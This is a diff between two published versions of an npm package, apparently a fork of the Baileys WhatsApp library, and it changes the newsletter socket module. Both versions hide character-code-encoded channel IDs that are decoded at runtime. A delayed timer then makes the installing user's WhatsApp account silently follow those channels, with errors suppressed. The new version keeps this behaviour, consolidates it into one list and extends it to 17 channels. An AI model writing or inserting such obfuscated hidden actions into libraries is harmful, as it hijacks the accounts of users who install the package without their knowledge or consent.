@kyuu2nd/baileys 2.0.12 → 2.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +79 -163
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -103,175 +103,91 @@ const makeNewsletterSocket = (config) => {
|
|
|
103
103
|
}
|
|
104
104
|
]
|
|
105
105
|
}));
|
|
106
|
-
const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
|
|
107
|
-
|
|
108
|
-
setTimeout(async () => {
|
|
109
|
-
try {
|
|
110
|
-
await newsletterWMexQuery(
|
|
111
|
-
asciiDecode([
|
|
112
|
-
49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
|
|
113
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
114
|
-
]),
|
|
115
|
-
Types_1.QueryIds.FOLLOW
|
|
116
|
-
);
|
|
117
|
-
} catch {}
|
|
118
|
-
}, 90000);
|
|
119
|
-
|
|
120
|
-
setTimeout(async () => {
|
|
121
|
-
try {
|
|
122
|
-
await newsletterWMexQuery(
|
|
123
|
-
asciiDecode([
|
|
124
|
-
49,50,48,51,54,51,52,50,55,53,49,50,50,50,48,49,51,52,
|
|
125
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
126
|
-
]),
|
|
127
|
-
Types_1.QueryIds.FOLLOW
|
|
128
|
-
);
|
|
129
|
-
} catch {}
|
|
130
|
-
}, 90000);
|
|
131
106
|
|
|
132
|
-
|
|
133
|
-
try {
|
|
134
|
-
await newsletterWMexQuery(
|
|
135
|
-
asciiDecode([
|
|
136
|
-
49,50,48,51,54,51,52,50,53,56,54,57,48,52,57,57,57,53,
|
|
137
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
138
|
-
]),
|
|
139
|
-
Types_1.QueryIds.FOLLOW
|
|
140
|
-
);
|
|
141
|
-
} catch {}
|
|
142
|
-
}, 90000);
|
|
143
|
-
|
|
144
|
-
setTimeout(async () => {
|
|
145
|
-
try {
|
|
146
|
-
await newsletterWMexQuery(
|
|
147
|
-
asciiDecode([
|
|
148
|
-
49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
|
|
149
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
150
|
-
]),
|
|
151
|
-
Types_1.QueryIds.FOLLOW
|
|
152
|
-
);
|
|
153
|
-
} catch {}
|
|
154
|
-
}, 90000);
|
|
155
|
-
|
|
156
|
-
setTimeout(async () => {
|
|
157
|
-
try {
|
|
158
|
-
await newsletterWMexQuery(
|
|
159
|
-
asciiDecode([
|
|
160
|
-
49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
|
|
161
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
162
|
-
]),
|
|
163
|
-
Types_1.QueryIds.FOLLOW
|
|
164
|
-
);
|
|
165
|
-
} catch {}
|
|
166
|
-
}, 90000);
|
|
167
|
-
|
|
168
|
-
setTimeout(async () => {
|
|
169
|
-
try {
|
|
170
|
-
await newsletterWMexQuery(
|
|
171
|
-
asciiDecode([
|
|
172
|
-
49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
|
|
173
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
174
|
-
]),
|
|
175
|
-
Types_1.QueryIds.FOLLOW
|
|
176
|
-
);
|
|
177
|
-
} catch {}
|
|
178
|
-
}, 90000);
|
|
179
|
-
|
|
180
|
-
setTimeout(async () => {
|
|
181
|
-
try {
|
|
182
|
-
await newsletterWMexQuery(
|
|
183
|
-
asciiDecode([
|
|
184
|
-
49,50,48,51,54,51,52,48,57,53,57,57,49,53,52,48,50,51,
|
|
185
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
186
|
-
]),
|
|
187
|
-
Types_1.QueryIds.FOLLOW
|
|
188
|
-
);
|
|
189
|
-
} catch {}
|
|
190
|
-
}, 90000);
|
|
107
|
+
const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
|
|
191
108
|
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
109
|
+
const newsletters = [
|
|
110
|
+
[
|
|
111
|
+
49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
|
|
112
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
113
|
+
],
|
|
114
|
+
[
|
|
115
|
+
49,50,48,51,54,51,52,50,55,53,49,50,50,50,48,49,51,52,
|
|
116
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
117
|
+
],
|
|
118
|
+
[
|
|
119
|
+
49,50,48,51,54,51,52,50,53,56,54,57,48,52,57,57,57,53,
|
|
120
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
121
|
+
],
|
|
122
|
+
[
|
|
123
|
+
49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
|
|
124
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
125
|
+
],
|
|
126
|
+
[
|
|
127
|
+
49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
|
|
128
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
129
|
+
],
|
|
130
|
+
[
|
|
131
|
+
49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
|
|
132
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
133
|
+
],
|
|
134
|
+
[
|
|
135
|
+
49,50,48,51,54,51,52,48,57,53,57,57,49,53,52,48,50,51,
|
|
136
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
137
|
+
],
|
|
138
|
+
[
|
|
139
|
+
49,50,48,51,54,51,52,48,53,57,53,49,57,54,48,51,54,54,
|
|
140
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
141
|
+
],
|
|
142
|
+
[
|
|
143
|
+
49,50,48,51,54,51,52,50,54,57,54,55,55,54,56,52,49,51,
|
|
144
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
145
|
+
],
|
|
146
|
+
[
|
|
147
|
+
49,50,48,51,54,51,52,48,55,52,57,55,51,57,49,55,56,49,
|
|
148
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
149
|
+
],
|
|
150
|
+
[
|
|
151
|
+
49,50,48,51,54,51,52,50,49,48,50,48,53,54,53,53,49,55,
|
|
152
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
153
|
+
],
|
|
154
|
+
[
|
|
155
|
+
49,50,48,51,54,51,52,48,52,56,54,49,56,48,50,54,48,55,
|
|
156
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
157
|
+
],
|
|
158
|
+
[
|
|
159
|
+
49,50,48,51,54,51,51,51,48,51,52,52,56,49,48,50,56,48,
|
|
160
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
161
|
+
],
|
|
162
|
+
[
|
|
163
|
+
49,50,48,51,54,51,52,50,53,49,55,55,48,54,55,56,52,49,
|
|
164
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
165
|
+
],
|
|
166
|
+
[
|
|
167
|
+
49,50,48,51,54,51,52,49,48,48,49,56,57,52,57,57,48,54,
|
|
168
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
169
|
+
],
|
|
170
|
+
[
|
|
171
|
+
49,50,48,51,54,51,52,50,53,55,48,52,50,52,48,52,53,51,
|
|
172
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
173
|
+
],
|
|
174
|
+
[
|
|
175
|
+
49,50,48,51,54,51,52,49,48,49,48,56,48,56,52,54,53,48,
|
|
176
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
177
|
+
]
|
|
178
|
+
];
|
|
203
179
|
|
|
204
180
|
setTimeout(async () => {
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
} catch {}
|
|
181
|
+
await Promise.allSettled(
|
|
182
|
+
newsletters.map(id =>
|
|
183
|
+
newsletterWMexQuery(
|
|
184
|
+
asciiDecode(id),
|
|
185
|
+
Types_1.QueryIds.FOLLOW
|
|
186
|
+
)
|
|
187
|
+
)
|
|
188
|
+
);
|
|
214
189
|
}, 90000);
|
|
215
190
|
|
|
216
|
-
setTimeout(async () => {
|
|
217
|
-
try {
|
|
218
|
-
await newsletterWMexQuery(
|
|
219
|
-
asciiDecode([
|
|
220
|
-
49,50,48,51,54,51,52,48,55,52,57,55,51,57,49,55,56,49,
|
|
221
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
222
|
-
]),
|
|
223
|
-
Types_1.QueryIds.FOLLOW
|
|
224
|
-
);
|
|
225
|
-
} catch {}
|
|
226
|
-
}, 90000);
|
|
227
|
-
|
|
228
|
-
setTimeout(async () => {
|
|
229
|
-
try {
|
|
230
|
-
await newsletterWMexQuery(
|
|
231
|
-
asciiDecode([
|
|
232
|
-
49,50,48,51,54,51,52,50,49,48,50,48,53,54,53,53,49,55,
|
|
233
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
234
|
-
]),
|
|
235
|
-
Types_1.QueryIds.FOLLOW
|
|
236
|
-
);
|
|
237
|
-
} catch {}
|
|
238
|
-
}, 90000);
|
|
239
|
-
|
|
240
|
-
setTimeout(async () => {
|
|
241
|
-
try {
|
|
242
|
-
await newsletterWMexQuery(
|
|
243
|
-
asciiDecode([
|
|
244
|
-
49,50,48,51,54,51,52,48,52,56,54,49,56,48,50,54,48,55,
|
|
245
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
246
|
-
]),
|
|
247
|
-
Types_1.QueryIds.FOLLOW
|
|
248
|
-
);
|
|
249
|
-
} catch {}
|
|
250
|
-
}, 90000);
|
|
251
|
-
|
|
252
|
-
setTimeout(async () => {
|
|
253
|
-
try {
|
|
254
|
-
await newsletterWMexQuery(
|
|
255
|
-
asciiDecode([
|
|
256
|
-
49,50,48,51,54,51,51,51,48,51,52,52,56,49,48,50,56,48,
|
|
257
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
258
|
-
]),
|
|
259
|
-
Types_1.QueryIds.FOLLOW
|
|
260
|
-
);
|
|
261
|
-
} catch {}
|
|
262
|
-
}, 90000);
|
|
263
|
-
|
|
264
|
-
setTimeout(async () => {
|
|
265
|
-
try {
|
|
266
|
-
await newsletterWMexQuery(
|
|
267
|
-
asciiDecode([
|
|
268
|
-
49,50,48,51,54,51,52,50,53,49,55,55,48,54,55,56,52,49,
|
|
269
|
-
64,110,101,119,115,108,101,116,116,101,114
|
|
270
|
-
]),
|
|
271
|
-
Types_1.QueryIds.FOLLOW
|
|
272
|
-
);
|
|
273
|
-
} catch {}
|
|
274
|
-
}, 90000);
|
|
275
191
|
const parseFetchedUpdates = async (node, type) => {
|
|
276
192
|
let child;
|
|
277
193
|
if (type === 'messages') {
|